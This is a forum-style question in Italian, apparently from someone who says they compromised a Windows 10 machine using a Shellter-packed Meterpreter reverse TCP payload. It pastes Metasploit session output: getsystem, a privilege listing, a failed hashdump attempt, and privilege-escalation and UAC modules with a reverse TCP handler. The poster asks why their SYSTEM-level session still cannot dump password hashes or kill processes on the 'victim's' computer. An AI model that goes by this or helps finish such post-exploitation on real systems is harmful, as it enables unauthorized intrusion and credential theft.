Sto affrontando un problema molto strano. Ho estratto con successo una scatola usando Shellter con Meterpreter_Reverse TCP.
Ecco il sysinfo:
meterpreter > sysinfo
Computer : ********
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
Ora la cosa strana è quando scrivo:
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Si dice che ho ottenuto l'autorità NT, tuttavia quando digito:
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeSystemProfilePrivilege
SeTcbPrivilege
Questi sono solo i privilegi che ottengo. Non tutto. Se provo a usare hashdump:
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
Inoltre, ho già effettuato la migrazione ad un altro processo di autorizzazione NT, in questo caso (svchost.exe)
Se provo a eseguire qualsiasi exploit locale in background, dice che il sistema è già elevato.
msf exploit(ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on 192.168.0.100:4444
[-] Exploit aborted due to failure: none: Session is already elevated
Inoltre, se provo a usare l'exploit "ASK" per ottenere privilegi, questo è ciò che accade:
msf exploit(ask) > run
[*] Started reverse TCP handler on 192.168.0.100:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading eobKMikmOsnWp.exe - 73802 bytes to the filesystem...
[*] Executing Command!
E si blocca e non viene richiesto alcun prompt sul computer delle vittime.
Anche qualsiasi comando che cerco di eseguire, mi dà solo un errore affermando che non ho accesso:
meterpreter > kill 7744
Killing: 7744
[-] stdapi_sys_process_kill: Operation failed: Access is denied.
Sono totalmente perso per capire cosa sta succedendo esattamente qui? Dice che ho ottenuto l'accesso al sistema, ma ancora non sono in grado di fare nulla?
Perché?
Qualsiasi aiuto sarebbe apprezzato.